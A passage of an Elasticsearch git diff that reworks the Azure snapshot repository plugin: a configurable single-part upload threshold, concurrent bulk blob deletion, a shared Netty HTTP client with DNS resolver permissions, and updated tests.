7d2fa5254ef55..0000000000000 --- a/plugins/repository-azure/licenses/woodstox-core-6.0.2.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -bbd163bbdb4d6340298b61a6789cc174fb589868 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/woodstox-core-6.2.4.jar.sha1 b/plugins/repository-azure/licenses/woodstox-core-6.2.4.jar.sha1 new file mode 100644 index 0000000000000..15f15488fca43 --- /dev/null +++ b/plugins/repository-azure/licenses/woodstox-core-6.2.4.jar.sha1 @@ -0,0 +1 @@ +16b9f8ab972e67eb21872ea2c40046249d543989 \ No newline at end of file diff --git a/plugins/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureBlobStoreRepositoryTests.java b/plugins/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureBlobStoreRepositoryTests.java index 1ec38f2f4daa4..1b4384f5434b3 100644 --- a/plugins/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureBlobStoreRepositoryTests.java +++ b/plugins/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureBlobStoreRepositoryTests.java @@ -23,6 +23,7 @@ import org.elasticsearch.common.settings.MockSecureSettings; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.common.unit.ByteSizeUnit; +import org.elasticsearch.common.unit.ByteSizeValue; import org.elasticsearch.plugins.Plugin; import org.elasticsearch.repositories.blobstore.ESMockAPIBasedRepositoryIntegTestCase; import org.elasticsearch.rest.RestStatus; @@ -55,6 +56,7 @@ protected String repositoryType() { protected Settings repositorySettings(String repoName) { Settings.Builder settingsBuilder = Settings.builder() .put(super.repositorySettings(repoName)) + .put(AzureRepository.Repository.MAX_SINGLE_PART_UPLOAD_SIZE_SETTING.getKey(), new ByteSizeValue(1, ByteSizeUnit.MB)) .put(AzureRepository.Repository.CONTAINER_SETTING.getKey(), "container") .put(AzureStorageSettings.ACCOUNT_SETTING.getKey(), "test"); if (randomBoolean()) { @@ -80,7 +82,7 @@ protected HttpHandler createErroneousHttpHandler(final HttpHandler delegate) { } @Override - protected Settings nodeSettings(int nodeOrdinal) { + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { final String key = Base64.getEncoder().encodeToString(randomAlphaOfLength(14).getBytes(StandardCharsets.UTF_8)); final MockSecureSettings secureSettings = new MockSecureSettings(); String accountName = DEFAULT_ACCOUNT_NAME; @@ -90,7 +92,7 @@ protected Settings nodeSettings(int nodeOrdinal) { // see com.azure.storage.blob.BlobUrlParts.parseIpUrl final String endpoint = "ignored;DefaultEndpointsProtocol=http;BlobEndpoint=" + httpServerUrl() + "/" + accountName; return Settings.builder() - .put(super.nodeSettings(nodeOrdinal)) + .put(super.nodeSettings(nodeOrdinal, otherSettings)) .put(AzureStorageSettings.ENDPOINT_SUFFIX_SETTING.getConcreteSettingForNamespace("test").getKey(), endpoint) .setSecureSettings(secureSettings) .build(); @@ -120,11 +122,6 @@ RequestRetryOptions getRetryOptions(LocationMode locationMode, AzureStorageSetti long getUploadBlockSize() { return ByteSizeUnit.MB.toBytes(1); } - - @Override - long getSizeThresholdForMultiBlockUpload() { - return ByteSizeUnit.MB.toBytes(1); - } }; } } @@ -213,7 +210,7 @@ private boolean isPutBlockList(String request) { public void testLargeBlobCountDeletion() throws Exception { int numberOfBlobs = randomIntBetween(257, 2000); try (BlobStore store = newBlobStore()) { - final BlobContainer container = store.blobContainer(new BlobPath()); + final BlobContainer container = store.blobContainer(BlobPath.EMPTY); for (int i = 0; i < numberOfBlobs; i++) { byte[] bytes = randomBytes(randomInt(100)); String blobName = randomAlphaOfLength(10); @@ -227,7 +224,7 @@ public void testLargeBlobCountDeletion() throws Exception { public void testDeleteBlobsIgnoringIfNotExists() throws Exception { try (BlobStore store = newBlobStore()) { - final BlobContainer container = store.blobContainer(new BlobPath()); + final BlobContainer container = store.blobContainer(BlobPath.EMPTY); List blobsToDelete = new ArrayList<>(); for (int i = 0; i < 10; i++) { byte[] bytes = randomBytes(randomInt(100)); @@ -242,7 +239,7 @@ public void testDeleteBlobsIgnoringIfNotExists() throws Exception { } Randomness.shuffle(blobsToDelete); - container.deleteBlobsIgnoringIfNotExists(blobsToDelete); + container.deleteBlobsIgnoringIfNotExists(blobsToDelete.iterator()); assertThat(container.listBlobs(), is(anEmptyMap())); } } diff --git a/plugins/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureStorageCleanupThirdPartyTests.java b/plugins/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureStorageCleanupThirdPartyTests.java index aa29207690c79..8b14e6b34905a 100644 --- a/plugins/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureStorageCleanupThirdPartyTests.java +++ b/plugins/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureStorageCleanupThirdPartyTests.java @@ -8,27 +8,31 @@ package org.elasticsearch.repositories.azure; -import static org.hamcrest.Matchers.blankOrNullString; -import static org.hamcrest.Matchers.equalTo; -import static org.hamcrest.Matchers.not; - -import java.net.HttpURLConnection; -import java.util.Collection; - +import com.azure.storage.blob.BlobContainerClient; +import com.azure.storage.blob.BlobServiceClient; +import com.azure.storage.blob.models.BlobStorageException; import org.elasticsearch.action.ActionRunnable; import org.elasticsearch.action.support.PlainActionFuture; import org.elasticsearch.action.support.master.AcknowledgedResponse; import org.elasticsearch.common.Strings; +import org.elasticsearch.common.UUIDs; +import org.elasticsearch.common.blobstore.BlobContainer; import org.elasticsearch.common.settings.MockSecureSettings; import org.elasticsearch.common.settings.SecureSettings; import org.elasticsearch.common.settings.Settings; +import org.elasticsearch.common.unit.ByteSizeUnit; +import org.elasticsearch.common.unit.ByteSizeValue; import org.elasticsearch.plugins.Plugin; import org.elasticsearch.repositories.AbstractThirdPartyRepositoryTestCase; import org.elasticsearch.repositories.blobstore.BlobStoreRepository; -import com.azure.storage.blob.BlobContainerClient; -import com.azure.storage.blob.BlobServiceClient; -import com.azure.storage.blob.models.BlobStorageException; +import java.io.ByteArrayInputStream; +import java.net.HttpURLConnection; +import java.util.Collection; + +import static org.hamcrest.Matchers.blankOrNullString; +import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.not; public class AzureStorageCleanupThirdPartyTests extends AbstractThirdPartyRepositoryTestCase { @@ -78,6 +82,7 @@ protected void createRepository(String repoName) { .setSettings(Settings.builder() .put("container", System.getProperty("test.azure.container")) .put("base_path", System.getProperty("test.azure.base")) + .put("max_single_part_upload_size", new ByteSizeValue(1, ByteSizeUnit.MB)) ).get(); assertThat(putRepositoryResponse.isAcknowledged(), equalTo(true)); if (Strings.hasText(System.getProperty("test.azure.sas_token"))) { @@ -111,4 +116,18 @@ private void ensureSasTokenPermissions() { })); future.actionGet(); } + + public void testMultiBlockUpload() throws Exception { + final BlobStoreRepository repo = getRepository(); + // The configured threshold for this test suite is 1mb + final int blobSize = ByteSizeUnit.MB.toIntBytes(2); + PlainActionFuture future = PlainActionFuture.newFuture(); + repo.threadPool().generic().execute(ActionRunnable.run(future, () -> { + final BlobContainer blobContainer = repo.blobStore().blobContainer(repo.basePath().add("large_write")); + blobContainer.writeBlob(UUIDs.base64UUID(), + new ByteArrayInputStream(randomByteArrayOfLength(blobSize)), blobSize, false); + blobContainer.delete(); + })); + future.get(); + } } diff --git a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureBlobContainer.java b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureBlobContainer.java index afa9fdc13ac67..bca068afb20ad 100644 --- a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureBlobContainer.java +++ b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureBlobContainer.java @@ -23,9 +23,8 @@ import java.io.IOException; import java.io.InputStream; import java.nio.file.NoSuchFileException; -import java.util.List; +import java.util.Iterator; import java.util.Map; -import java.util.stream.Collectors; public class AzureBlobContainer extends AbstractBlobContainer { @@ -106,12 +105,18 @@ public DeleteResult delete() throws IOException { } @Override - public void deleteBlobsIgnoringIfNotExists(List blobNames) throws IOException { - List blobsWithFullPath = blobNames.stream() - .map(this::buildKey) - .collect(Collectors.toList()); + public void deleteBlobsIgnoringIfNotExists(Iterator blobNames) throws IOException { + blobStore.deleteBlobs(new Iterator<>() { + @Override + public boolean hasNext() { + return blobNames.hasNext(); + } - blobStore.deleteBlobList(blobsWithFullPath); + @Override + public String next() { + return buildKey(blobNames.next()); + } + }); } @Override diff --git a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureBlobStore.java b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureBlobStore.java index 9ec1585e2d46f..23c5666b59a30 100644 --- a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureBlobStore.java +++ b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureBlobStore.java @@ -50,6 +50,7 @@ import reactor.core.publisher.Mono; import reactor.core.scheduler.Schedulers; +import java.io.FilterInputStream; import java.io.IOException; import java.io.InputStream; import java.net.HttpURLConnection; @@ -58,20 +59,21 @@ import java.net.URL; import java.nio.ByteBuffer; import java.nio.file.FileAlreadyExistsException; -import java.util.ArrayDeque; import java.util.ArrayList; import java.util.Base64; import java.util.Collections; import java.util.HashMap; +import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Objects; -import java.util.Queue; +import java.util.Spliterator; +import java.util.Spliterators; import java.util.concurrent.atomic.AtomicInteger; import java.util.concurrent.atomic.AtomicLong; import java.util.function.BiConsumer; import java.util.function.BiPredicate; -import java.util.function.Supplier; +import java.util.stream.StreamSupport; public class AzureBlobStore implements BlobStore { private static final Logger logger = LogManager.getLogger(AzureBlobStore.class); @@ -83,6 +85,7 @@ public class AzureBlobStore implements BlobStore { private final String clientName; private final String container; private final LocationMode locationMode; + private final ByteSizeValue maxSinglePartUploadSize; private final Stats stats = new Stats(); private final BiConsumer statsConsumer; @@ -93,6 +96,7 @@ public AzureBlobStore(RepositoryMetadata metadata, AzureStorageService service) this.service = service; // locationMode is set per repository, not per client this.locationMode = Repository.LOCATION_MODE_SETTING.get(metadata.settings()); + this.maxSinglePartUploadSize = Repository.MAX_SINGLE_PART_UPLOAD_SIZE_SETTING.get(metadata.settings()); List requestStatsCollectors = List.of( RequestStatsCollector.create( @@ -151,8 +155,7 @@ public AzureBlobStore(RepositoryMetadata metadata, AzureStorageService service) private boolean isListRequest(String httpMethod, URL url) { return httpMethod.equals("GET") && url.getQuery() != null && - url.getQuery().contains("comp=list") && - url.getQuery().contains("delimiter="); + url.getQuery().contains("comp=list"); } // https://docs.microsoft.com/en-us/rest/api/storageservices/put-block @@ -214,91 +217,79 @@ public boolean blobExists(String blob) throws IOException { } } + // number of concurrent blob delete requests to use while bulk deleting + private static final int CONCURRENT_DELETES = 100; + public DeleteResult deleteBlobDirectory(String path) throws IOException { final AtomicInteger blobsDeleted = new AtomicInteger(0); final AtomicLong bytesDeleted = new AtomicLong(0); - final BlobServiceClient client = client(); SocketAccess.doPrivilegedVoidException(() -> { - final BlobContainerClient blobContainerClient = client.getBlobContainerClient(container); final BlobContainerAsyncClient blobContainerAsyncClient = asyncClient().getBlobContainerAsyncClient(container); - final Queue directories = new ArrayDeque<>(); - directories.offer(path); - String directoryName; - List> deleteTasks = new ArrayList<>(); - while ((directoryName = directories.poll()) != null) { - final BlobListDetails blobListDetails = new BlobListDetails() - .setRetrieveMetadata(true); - - final ListBlobsOptions options = new ListBlobsOptions() - .setPrefix(directoryName) - .setDetails(blobListDetails); - - for (BlobItem blobItem : blobContainerClient.listBlobsByHierarchy("/", options, null)) { + final ListBlobsOptions options = new ListBlobsOptions() + .setPrefix(path) + .setDetails(new BlobListDetails().setRetrieveMetadata(true)); + try { + blobContainerAsyncClient.listBlobs(options, null).flatMap(blobItem -> { if (blobItem.isPrefix() != null && blobItem.isPrefix()) { - directories.offer(blobItem.getName()); + return Mono.empty(); } else { - BlobAsyncClient blobAsyncClient = blobContainerAsyncClient.getBlobAsyncClient(blobItem.getName()); - final Mono deleteTask = blobAsyncClient.delete() - // Ignore not found blobs, as it's possible that due to network errors a request - // for an already deleted blob is retried, causing an error. - .onErrorResume(this::isNotFoundError, throwable -> Mono.empty()) - .onErrorMap(throwable -> new IOException("Error deleting blob " + blobItem.getName(), throwable)); - deleteTasks.add(deleteTask); + final String blobName = blobItem.getName(); + BlobAsyncClient blobAsyncClient = blobContainerAsyncClient.getBlobAsyncClient(blobName); + final Mono deleteTask = getDeleteTask(blobName, blobAsyncClient); bytesDeleted.addAndGet(blobItem.getProperties().getContentLength()); blobsDeleted.incrementAndGet(); + return deleteTask; } - } + }, CONCURRENT_DELETES).then().block(); + } catch (Exception e) { + filterDeleteExceptionsAndRethrow(e, new IOException("Deleting directory [" + path + "] failed")); } - - executeDeleteTasks(deleteTasks, () -> "Deleting directory [" + path + "] failed"); }); return new DeleteResult(blobsDeleted.get(), bytesDeleted.get()); } - void deleteBlobList(List blobs) throws IOException { - if (blobs.isEmpty()) { + private static void filterDeleteExceptionsAndRethrow(Exception e, IOException exception) throws IOException { + int suppressedCount = 0; + for (Throwable suppressed : e.getSuppressed()) { + // We're only interested about the blob deletion exceptions and not in the reactor internals exceptions + if (suppressed instanceof IOException) { + exception.addSuppressed(suppressed); + suppressedCount++; + if (suppressedCount > 10) { + break; + } + } + } + throw exception; + } + + void deleteBlobs(Iterator blobs) throws IOException { + if (blobs.hasNext() == false) { return; } BlobServiceAsyncClient asyncClient = asyncClient(); SocketAccess.doPrivilegedVoidException(() -> { - List> deleteTasks = new ArrayList<>(blobs.size()); final BlobContainerAsyncClient blobContainerClient = asyncClient.getBlobContainerAsyncClient(container); - for (String blob : blobs) { - final Mono deleteTask = blobContainerClient.getBlobAsyncClient(blob) - .delete() - // Ignore not found blobs - .onErrorResume(this::isNotFoundError, throwable -> Mono.empty()) - .onErrorMap(throwable -> new IOException("Error deleting blob " + blob, throwable)); - - deleteTasks.add(deleteTask); + try { + Flux.fromStream(StreamSupport.stream(Spliterators.spliteratorUnknownSize(blobs, Spliterator.ORDERED), false)) + .flatMap(blob -> getDeleteTask(blob, blobContainerClient.getBlobAsyncClient(blob)), CONCURRENT_DELETES) + .then().block(); + } catch (Exception e) { + filterDeleteExceptionsAndRethrow(e, new IOException("Unable to delete blobs")); } - - executeDeleteTasks(deleteTasks, () -> "Unable to delete blobs " + blobs); }); } - private boolean isNotFoundError(Throwable e) { - return e instanceof BlobStorageException && ((BlobStorageException) e).getStatusCode() == 404; - } - - private void executeDeleteTasks(List> deleteTasks, Supplier errorMessageSupplier) throws IOException { - try { - // zipDelayError executes all tasks in parallel and delays - // error propagation until all tasks have finished. - Mono.zipDelayError(deleteTasks, results -> null).block(); - } catch (Exception e) { - final IOException exception = new IOException(errorMessageSupplier.get()); - for (Throwable suppressed : e.getSuppressed()) { - // We're only interested about the blob deletion exceptions and not in the reactor internals exceptions - if (suppressed instanceof IOException) { - exception.addSuppressed(suppressed); - } - } - throw exception; - } + private static Mono getDeleteTask(String blobName, BlobAsyncClient blobAsyncClient) { + return blobAsyncClient.delete() + // Ignore not found blobs, as it's possible that due to network errors a request + // for an already deleted blob is retried, causing an error. + .onErrorResume(e -> + e instanceof BlobStorageException && ((BlobStorageException) e).getStatusCode() == 404, throwable -> Mono.empty()) + .onErrorMap(throwable -> new IOException("Error deleting blob " + blobName, throwable)); } public InputStream getInputStream(String blob, long position, final @Nullable Long length) throws IOException { @@ -375,7 +366,7 @@ public Map children(BlobPath path) throws IOException { // Remove trailing slash directoryName = directoryName.substring(0, directoryName.length() - 1); childrenBuilder.put(directoryName, - new AzureBlobContainer(BlobPath.cleanPath().add(blobItem.getName()), this)); + new AzureBlobContainer(BlobPath.EMPTY.add(blobItem.getName()), this)); } } }); @@ -466,13 +457,26 @@ private void executeMultipartUpload(String blobName, InputStream inputStream, lo /** * Converts the provided input stream into a Flux of ByteBuffer. To avoid having large amounts of outstanding * memory this Flux reads the InputStream into ByteBuffers of {@code chunkSize} size. - * @param inputStream the InputStream to convert + * @param delegate the InputStream to convert * @param length the InputStream length * @param chunkSize the chunk size in bytes * @return a Flux of ByteBuffers */ - private Flux convertStreamToByteBuffer(InputStream inputStream, long length, int chunkSize) { - assert inputStream.markSupported() : "An InputStream with mark support was expected"; + private Flux convertStreamToByteBuffer(InputStream delegate, long length, int chunkSize) { + assert delegate.markSupported() : "An InputStream with mark support was expected"; + // We need to introduce a read barrier in order to provide visibility for the underlying + // input stream state as the input stream can be read from different threads. + final InputStream inputStream = new FilterInputStream(delegate) { + @Override + public synchronized int read(byte[] b, int off, int len) throws IOException { + return super.read(b, off, len); + } + + @Override + public synchronized int read() throws IOException { + return super.read(); + } + }; // We need to mark the InputStream as it's possible that we need to retry for the same chunk inputStream.mark(Integer.MAX_VALUE); return Flux.defer(() -> { @@ -552,7 +556,7 @@ static Tuple numberOfMultiparts(final long totalSize, final long par } long getLargeBlobThresholdInBytes() { - return service.getSizeThresholdForMultiBlockUpload(); + return maxSinglePartUploadSize.getBytes(); } long getUploadBlockSize() { diff --git a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureClientProvider.java b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureClientProvider.java index 8143c30e59896..e40e97ef1ccea 100644 --- a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureClientProvider.java +++ b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureClientProvider.java @@ -28,6 +28,7 @@ import io.netty.channel.ChannelOption; import io.netty.channel.EventLoopGroup; import io.netty.channel.nio.NioEventLoopGroup; +import io.netty.resolver.DefaultAddressResolverGroup; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.elasticsearch.common.component.AbstractLifecycleComponent; @@ -87,6 +88,7 @@ class AzureClientProvider extends AbstractLifecycleComponent { private final EventLoopGroup eventLoopGroup; private final ConnectionProvider connectionProvider; private final ByteBufAllocator byteBufAllocator; + private final reactor.netty.http.client.HttpClient nettyHttpClient; private final ClientLogger clientLogger = new ClientLogger(AzureClientProvider.class); private volatile boolean closed = false; @@ -94,12 +96,14 @@ class AzureClientProvider extends AbstractLifecycleComponent { String reactorExecutorName, EventLoopGroup eventLoopGroup, ConnectionProvider connectionProvider, - ByteBufAllocator byteBufAllocator) { + ByteBufAllocator byteBufAllocator, + reactor.netty.http.client.HttpClient nettyHttpClient) { this.threadPool = threadPool; this.reactorExecutorName = reactorExecutorName; this.eventLoopGroup = eventLoopGroup; this.connectionProvider = connectionProvider; this.byteBufAllocator = byteBufAllocator; + this.nettyHttpClient = nettyHttpClient; } static int eventLoopThreadsFromSettings(Settings settings) { @@ -117,7 +121,7 @@ static AzureClientProvider create(ThreadPool threadPool, Settings settings) { final TimeValue openConnectionTimeout = OPEN_CONNECTION_TIMEOUT.get(settings); final TimeValue maxIdleTime = MAX_IDLE_TIME.get(settings); - ConnectionProvider provider = + ConnectionProvider connectionProvider = ConnectionProvider.builder("azure-sdk-connection-pool") .maxConnections(MAX_OPEN_CONNECTIONS.get(settings)) .pendingAcquireMaxCount(PENDING_CONNECTION_QUEUE_SIZE) // This determines the max outstanding queued requests @@ -127,9 +131,22 @@ static AzureClientProvider create(ThreadPool threadPool, Settings settings) { ByteBufAllocator pooledByteBufAllocator = createByteBufAllocator(); + reactor.netty.http.client.HttpClient nettyHttpClient = reactor.netty.http.client.HttpClient.create(connectionProvider) + .runOn(eventLoopGroup) + .option(ChannelOption.ALLOCATOR, pooledByteBufAllocator) + .resolver(DefaultAddressResolverGroup.INSTANCE) + .port(80) + .wiretap(false); + // Just to verify that this executor exists threadPool.executor(REPOSITORY_THREAD_POOL_NAME); - return new AzureClientProvider(threadPool, REPOSITORY_THREAD_POOL_NAME, eventLoopGroup, provider, pooledByteBufAllocator); + return new AzureClientProvider(threadPool, + REPOSITORY_THREAD_POOL_NAME, + eventLoopGroup, + connectionProvider, + pooledByteBufAllocator, + nettyHttpClient + ); } private static ByteBufAllocator createByteBufAllocator() { @@ -160,17 +177,6 @@ AzureBlobServiceClient createClient(AzureStorageSettings settings, throw new IllegalStateException("AzureClientProvider is already closed"); } - reactor.netty.http.client.HttpClient nettyHttpClient = reactor.netty.http.client.HttpClient.create(connectionProvider); - nettyHttpClient = nettyHttpClient - .port(80) - .wiretap(false); - - nettyHttpClient = nettyHttpClient.tcpConfiguration(tcpClient -> { - tcpClient = tcpClient.runOn(eventLoopGroup); - tcpClient = tcpClient.option(ChannelOption.ALLOCATOR, byteBufAllocator); - return tcpClient; - }); - final HttpClient httpClient = new NettyAsyncHttpClientBuilder(nettyHttpClient) .disableBufferCopy(true) .proxy(proxyOptions) diff --git a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureRepository.java b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureRepository.java index a28992c19e6b6..d40f76b7bb138 100644 --- a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureRepository.java +++ b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureRepository.java @@ -18,6 +18,7 @@ import org.elasticsearch.common.blobstore.BlobStore; import org.elasticsearch.common.settings.Setting; import org.elasticsearch.common.settings.Setting.Property; +import org.elasticsearch.common.unit.ByteSizeUnit; import org.elasticsearch.common.unit.ByteSizeValue; import org.elasticsearch.common.util.BigArrays; import org.elasticsearch.common.xcontent.NamedXContentRegistry; @@ -60,6 +61,10 @@ public static final class Repository { public static final Setting CHUNK_SIZE_SETTING = Setting.byteSizeSetting("chunk_size", MAX_CHUNK_SIZE, MIN_CHUNK_SIZE, MAX_CHUNK_SIZE, Property.NodeScope); public static final Setting READONLY_SETTING = Setting.boolSetting(READONLY_SETTING_KEY, false, Property.NodeScope); + // see ModelHelper.BLOB_DEFAULT_MAX_SINGLE_UPLOAD_SIZE + private static final ByteSizeValue DEFAULT_MAX_SINGLE_UPLOAD_SIZE = new ByteSizeValue(256, ByteSizeUnit.MB); + public static final Setting MAX_SINGLE_PART_UPLOAD_SIZE_SETTING = + Setting.byteSizeSetting("max_single_part_upload_size", DEFAULT_MAX_SINGLE_UPLOAD_SIZE, Property.NodeScope); } private final ByteSizeValue chunkSize; @@ -97,13 +102,13 @@ private static BlobPath buildBasePath(RepositoryMetadata metadata) { final String basePath = Strings.trimLeadingCharacter(Repository.BASE_PATH_SETTING.get(metadata.settings()), '/'); if (Strings.hasLength(basePath)) { // Remove starting / if any - BlobPath path = new BlobPath(); + BlobPath path = BlobPath.EMPTY; for(final String elem : basePath.split("/")) { path = path.add(elem); } return path; } else { - return BlobPath.cleanPath(); + return BlobPath.EMPTY; } } diff --git a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureRepositoryPlugin.java b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureRepositoryPlugin.java index db281c6038eec..ddc9f391d092a 100644 --- a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureRepositoryPlugin.java +++ b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureRepositoryPlugin.java @@ -34,6 +34,8 @@ import org.elasticsearch.threadpool.ThreadPool; import org.elasticsearch.watcher.ResourceWatcherService; +import java.security.AccessController; +import java.security.PrivilegedAction; import java.util.Arrays; import java.util.Collection; import java.util.Collections; @@ -53,6 +55,17 @@ public class AzureRepositoryPlugin extends Plugin implements RepositoryPlugin, R // Trigger static initialization with the plugin class loader // so we have access to the proper xml parser JacksonAdapter.createDefaultSerializerAdapter(); + + // Even though we don't use it, we need to force static init + // of the default resolver which reads /etc/hosts so it doesn't init later + AccessController.doPrivileged((PrivilegedAction) () -> { + try { + Class.forName("io.netty.resolver.HostsFileEntriesResolver"); + } catch (Exception e) { + throw new RuntimeException(e); + } + return null; + }); } // protected for testing diff --git a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureStorageService.java b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureStorageService.java index 35779b32835fb..382cfb97bcf5a 100644 --- a/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureStorageService.java +++ b/plugins/repository-azure/src/main/java/org/elasticsearch/repositories/azure/AzureStorageService.java @@ -66,8 +66,6 @@ public class AzureStorageService { */ public static final ByteSizeValue MAX_CHUNK_SIZE = new ByteSizeValue(MAX_BLOB_SIZE , ByteSizeUnit.BYTES); - // see ModelHelper.BLOB_DEFAULT_MAX_SINGLE_UPLOAD_SIZE - private static final long DEFAULT_MAX_SINGLE_UPLOAD_SIZE = new ByteSizeValue(256, ByteSizeUnit.MB).getBytes(); private static final long DEFAULT_UPLOAD_BLOCK_SIZE = DEFAULT_BLOCK_SIZE.getBytes(); // 'package' for testing @@ -123,11 +121,6 @@ long getUploadBlockSize() { return DEFAULT_UPLOAD_BLOCK_SIZE; } - // non-static, package private for testing - long getSizeThresholdForMultiBlockUpload() { - return DEFAULT_MAX_SINGLE_UPLOAD_SIZE; - } - int getMaxReadRetries(String clientName) { AzureStorageSettings azureStorageSettings = getClientSettings(clientName); return azureStorageSettings.getMaxRetries(); diff --git a/plugins/repository-azure/src/main/plugin-metadata/plugin-security.policy b/plugins/repository-azure/src/main/plugin-metadata/plugin-security.policy index 8bc2c35fd170b..ced54e7bb17ef 100644 --- a/plugins/repository-azure/src/main/plugin-metadata/plugin-security.policy +++ b/plugins/repository-azure/src/main/plugin-metadata/plugin-security.policy @@ -14,4 +14,9 @@ grant { // Used by jackson bean deserialization permission java.lang.RuntimePermission "accessDeclaredMembers"; permission java.lang.reflect.ReflectPermission "suppressAccessChecks"; + // needed by netty dns resolver + permission java.io.FilePermission "/etc/hosts", "read"; + permission java.io.FilePermission "/etc/resolv.conf", "read"; + permission java.io.FilePermission "/etc/resolver", "read"; + permission java.io.FilePermission "/etc/resolver/-", "read"; }; diff --git a/plugins/repository-azure/src/test/java/org/elasticsearch/repositories/azure/AzureBlobContainerRetriesTests.java b/plugins/repository-azure/src/test/java/org/elasticsearch/repositories/azure/AzureBlobContainerRetriesTests.java index 668504fdde258..b41541a7b4890 100644 --- a/plugins/repository-azure/src/test/java/org/elasticsearch/repositories/azure/AzureBlobContainerRetriesTests.java +++ b/plugins/repository-azure/src/test/java/org/elasticsearch/repositories/azure/AzureBlobContainerRetriesTests.java @@ -28,6 +28,7 @@ import org.elasticsearch.common.settings.MockSecureSettings; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.common.unit.ByteSizeUnit; +import org.elasticsearch.common.unit.ByteSizeValue; import org.elasticsearch.common.unit.TimeValue; import org.elasticsearch.common.util.concurrent.CountDown; import org.elasticsearch.mocksocket.MockHttpServer; @@ -64,6 +65,7 @@ import static java.nio.charset.StandardCharsets.UTF_8; import static org.elasticsearch.repositories.azure.AzureRepository.Repository.CONTAINER_SETTING; import static org.elasticsearch.repositories.azure.AzureRepository.Repository.LOCATION_MODE_SETTING; +import static org.elasticsearch.repositories.azure.AzureRepository.Repository.MAX_SINGLE_PART_UPLOAD_SIZE_SETTING; import static org.elasticsearch.repositories.azure.AzureStorageSettings.ACCOUNT_SETTING; import static org.elasticsearch.repositories.azure.AzureStorageSettings.ENDPOINT_SUFFIX_SETTING; import static org.elasticsearch.repositories.azure.AzureStorageSettings.KEY_SETTING; @@ -156,11 +158,6 @@ long getUploadBlockSize() { return ByteSizeUnit.MB.toBytes(1); } - @Override - long getSizeThresholdForMultiBlockUpload() { - return ByteSizeUnit.MB.toBytes(1); - } - @Override int getMaxReadRetries(String clientName) { return maxRetries; @@ -172,9 +169,10 @@ int getMaxReadRetries(String clientName) { .put(CONTAINER_SETTING.getKey(), "container") .put(ACCOUNT_SETTING.getKey(), clientName) .put(LOCATION_MODE_SETTING.getKey(), locationMode) + .put(MAX_SINGLE_PART_UPLOAD_SIZE_SETTING.getKey(), new ByteSizeValue(1, ByteSizeUnit.MB)) .build()); - return new AzureBlobContainer(BlobPath.cleanPath(), new AzureBlobStore(repositoryMetadata, service)); + return new AzureBlobContainer(BlobPath.EMPTY, new AzureBlobStore(repositoryMetadata, service)); } public void testReadNonexistentBlobThrowsNoSuchFileException() { diff --git a/plugins/repository-azure/src/test/java/org/elasticsearch/repositories/azure/AzureRepositorySettingsTests.java b/plugins/repository-azure/src/test/java/org/elasticsearch/repositories/azure/AzureRepositorySettingsTests.java index 2a9f11724ca57..1c0f4d7eb6e3c 100644 --- a/plugins/repository-azure/src/test/java/org/elasticsearch/repositories/azure/AzureRepositorySettingsTests.java +++ b/plugins/repository-azure/src/test/java/org/elasticsearch/repositories/azure/AzureRepositorySettingsTests.java @@ -30,7 +30,7 @@ public class AzureRepositorySettingsTests extends ESTestCase { private AzureRepository azureRepository(Settings settings) { Settings internalSettings = Settings.builder() .put(Environment.PATH_HOME_SETTING.getKey(), createTempDir().toAbsolutePath()) - .putList(Environment.PATH_DATA_SETTING.getKey(), tmpPaths()) + .put(Environment.PATH_DATA_SETTING.getKey(), createTempDir().toAbsolutePath()) .put(settings) .build(); final AzureRepository azureRepository = new AzureRepository(new RepositoryMetadata("foo", "azure", internalSettings), diff --git a/plugins/repository-gcs/build.gradle b/plugins/repository-gcs/build.gradle index 28cb7037c1fde..b7b9d1b819124 100644 --- a/plugins/repository-gcs/build.gradle +++ b/plugins/repository-gcs/build.gradle @@ -1,11 +1,11 @@ import java.nio.file.Files import java.security.KeyPair import java.security.KeyPairGenerator -import org.elasticsearch.gradle.MavenFilteringHack -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.test.RestIntegTestTask -import org.elasticsearch.gradle.test.rest.YamlRestTestPlugin -import 